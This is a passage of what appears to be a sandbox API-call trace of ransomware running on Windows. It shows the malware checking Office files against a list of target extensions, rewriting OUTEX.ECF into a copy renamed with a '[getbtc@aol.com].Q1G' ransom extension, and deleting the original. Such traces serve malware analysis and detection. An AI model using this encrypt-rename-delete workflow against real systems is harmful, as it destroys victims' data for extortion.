lstrlenW (lpString=".xls") returned 4 [0257.702] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".xlsx") returned 5 [0257.702] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.702] lstrlenW (lpString=".ppt") returned 4 [0257.702] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString=".zip") returned 4 [0257.702] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".rar") returned 4 [0257.702] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".bz2") returned 4 [0257.702] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".7z") returned 3 [0257.702] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString=".dbf") returned 4 [0257.702] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString=".1cd") returned 4 [0257.702] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString=".jpg") returned 4 [0257.702] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.702] lstrlenW (lpString=".doc") returned 4 [0257.702] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".docx") returned 5 [0257.702] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.702] lstrlenW (lpString=".pdf") returned 4 [0257.702] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.702] lstrlenW (lpString=".xls") returned 4 [0257.702] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString=".xlsx") returned 5 [0257.703] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.703] lstrlenW (lpString=".ppt") returned 4 [0257.703] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.703] lstrlenW (lpString=".zip") returned 4 [0257.703] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString=".rar") returned 4 [0257.703] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString=".bz2") returned 4 [0257.703] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString=".7z") returned 3 [0257.703] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.703] lstrlenW (lpString=".dbf") returned 4 [0257.703] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.703] lstrlenW (lpString=".1cd") returned 4 [0257.703] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0257.703] lstrlenW (lpString=".jpg") returned 4 [0257.703] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.703] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0257.703] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0257.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0257.736] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1449312) returned 1 [0257.736] CloseHandle (hObject=0x3d8) returned 1 [0257.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe")) returned 0x20 [0257.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.765] lstrlenW (lpString=".doc") returned 4 [0257.765] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0257.765] lstrlenW (lpString=".docx") returned 5 [0257.765] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0257.765] lstrlenW (lpString=".pdf") returned 4 [0257.765] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0257.765] lstrlenW (lpString=".xls") returned 4 [0257.765] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0257.765] lstrlenW (lpString=".xlsx") returned 5 [0257.765] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0257.765] lstrlenW (lpString=".ppt") returned 4 [0257.765] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0257.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.765] lstrlenW (lpString=".zip") returned 4 [0257.765] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0257.765] lstrlenW (lpString=".rar") returned 4 [0257.765] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString=".bz2") returned 4 [0257.766] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0257.766] lstrlenW (lpString=".7z") returned 3 [0257.766] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString=".dbf") returned 4 [0257.766] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString=".1cd") returned 4 [0257.766] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString=".jpg") returned 4 [0257.766] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString=".doc") returned 4 [0257.766] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0257.766] lstrlenW (lpString=".docx") returned 5 [0257.766] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0257.766] lstrlenW (lpString=".pdf") returned 4 [0257.766] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString=".xls") returned 4 [0257.766] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString=".xlsx") returned 5 [0257.766] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0257.766] lstrlenW (lpString=".ppt") returned 4 [0257.766] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.766] lstrlenW (lpString=".zip") returned 4 [0257.766] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString=".rar") returned 4 [0257.766] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0257.766] lstrlenW (lpString=".bz2") returned 4 [0257.766] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0257.766] lstrlenW (lpString=".7z") returned 3 [0257.766] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0257.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.767] lstrlenW (lpString=".dbf") returned 4 [0257.767] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0257.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.767] lstrlenW (lpString=".1cd") returned 4 [0257.767] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0257.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0257.767] lstrlenW (lpString=".jpg") returned 4 [0257.767] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0257.767] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.767] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0257.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0257.771] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=152392) returned 1 [0257.771] CloseHandle (hObject=0x3c0) returned 1 [0257.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll")) returned 0x20 [0257.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.772] lstrlenW (lpString=".doc") returned 4 [0257.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString=".docx") returned 5 [0257.772] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0257.772] lstrlenW (lpString=".pdf") returned 4 [0257.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString=".xls") returned 4 [0257.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString=".xlsx") returned 5 [0257.772] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0257.772] lstrlenW (lpString=".ppt") returned 4 [0257.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.772] lstrlenW (lpString=".zip") returned 4 [0257.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString=".rar") returned 4 [0257.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.772] lstrlenW (lpString=".bz2") returned 4 [0257.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.772] lstrlenW (lpString=".7z") returned 3 [0257.772] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.772] lstrlenW (lpString=".dbf") returned 4 [0257.772] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.772] lstrlenW (lpString=".1cd") returned 4 [0257.772] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".jpg") returned 4 [0257.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".doc") returned 4 [0257.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString=".docx") returned 5 [0257.773] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0257.773] lstrlenW (lpString=".pdf") returned 4 [0257.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString=".xls") returned 4 [0257.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString=".xlsx") returned 5 [0257.773] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0257.773] lstrlenW (lpString=".ppt") returned 4 [0257.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".zip") returned 4 [0257.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString=".rar") returned 4 [0257.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.773] lstrlenW (lpString=".bz2") returned 4 [0257.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.773] lstrlenW (lpString=".7z") returned 3 [0257.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".dbf") returned 4 [0257.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".1cd") returned 4 [0257.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0257.773] lstrlenW (lpString=".jpg") returned 4 [0257.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.774] lstrcmpiW (lpString1=".ECF", lpString2=".Q1G") returned -1 [0257.774] lstrlenW (lpString="OUTEX.ECF") returned 9 [0257.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.795] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1926) returned 1 [0257.796] CloseHandle (hObject=0x3dc) returned 1 [0257.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0257.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.876] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.876] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.877] GetLastError () returned 0x0 [0257.877] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x786, lpOverlapped=0x0) returned 1 [0257.933] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x790, lpOverlapped=0x0) returned 1 [0257.934] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.934] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0257.934] SetEndOfFile (hFile=0x3e0) returned 1 [0257.935] CloseHandle (hObject=0x3e0) returned 1 [0257.935] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.935] SetEndOfFile (hFile=0x3dc) returned 1 [0257.937] CloseHandle (hObject=0x3dc) returned 1 [0257.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 1 [0257.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.969] lstrlenW (lpString=".doc") returned 4 [0257.969] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.969] lstrlenW (lpString=".docx") returned 5 [0257.969] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0257.969] lstrlenW (lpString=".pdf") returned 4 [0257.969] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.969] lstrlenW (lpString=".xls") returned 4 [0257.969] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.969] lstrlenW (lpString=".xlsx") returned 5 [0257.969] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0257.970] lstrlenW (lpString=".ppt") returned 4 [0257.970] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".zip") returned 4 [0257.970] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString=".rar") returned 4 [0257.970] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString=".bz2") returned 4 [0257.970] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.970] lstrlenW (lpString=".7z") returned 3 [0257.970] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".dbf") returned 4 [0257.970] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".1cd") returned 4 [0257.970] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".jpg") returned 4 [0257.970] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".doc") returned 4 [0257.970] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0257.970] lstrlenW (lpString=".docx") returned 5 [0257.970] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0257.970] lstrlenW (lpString=".pdf") returned 4 [0257.970] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString=".xls") returned 4 [0257.970] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString=".xlsx") returned 5 [0257.970] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0257.970] lstrlenW (lpString=".ppt") returned 4 [0257.970] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.970] lstrlenW (lpString=".zip") returned 4 [0257.970] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0257.970] lstrlenW (lpString=".rar") returned 4 [0257.971] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0257.971] lstrlenW (lpString=".bz2") returned 4 [0257.971] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0257.971] lstrlenW (lpString=".7z") returned 3 [0257.971] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0257.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.971] lstrlenW (lpString=".dbf") returned 4 [0257.971] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0257.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.971] lstrlenW (lpString=".1cd") returned 4 [0257.971] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0257.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0257.971] lstrlenW (lpString=".jpg") returned 4 [0257.971] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0257.971] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.971] lstrlenW (lpString="BCSStr32.dll") returned 12 [0257.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.972] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=167808) returned 1 [0257.972] CloseHandle (hObject=0x3c8) returned 1 [0257.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll")) returned 0x20 [0257.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsstr32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.972] lstrlenW (lpString=".doc") returned 4 [0257.972] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.972] lstrlenW (lpString=".docx") returned 5 [0257.972] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0257.972] lstrlenW (lpString=".pdf") returned 4 [0257.972] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.972] lstrlenW (lpString=".xls") returned 4 [0257.972] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.972] lstrlenW (lpString=".xlsx") returned 5 [0257.972] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0257.972] lstrlenW (lpString=".ppt") returned 4 [0257.972] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.972] lstrlenW (lpString=".zip") returned 4 [0257.972] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.972] lstrlenW (lpString=".rar") returned 4 [0257.972] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.972] 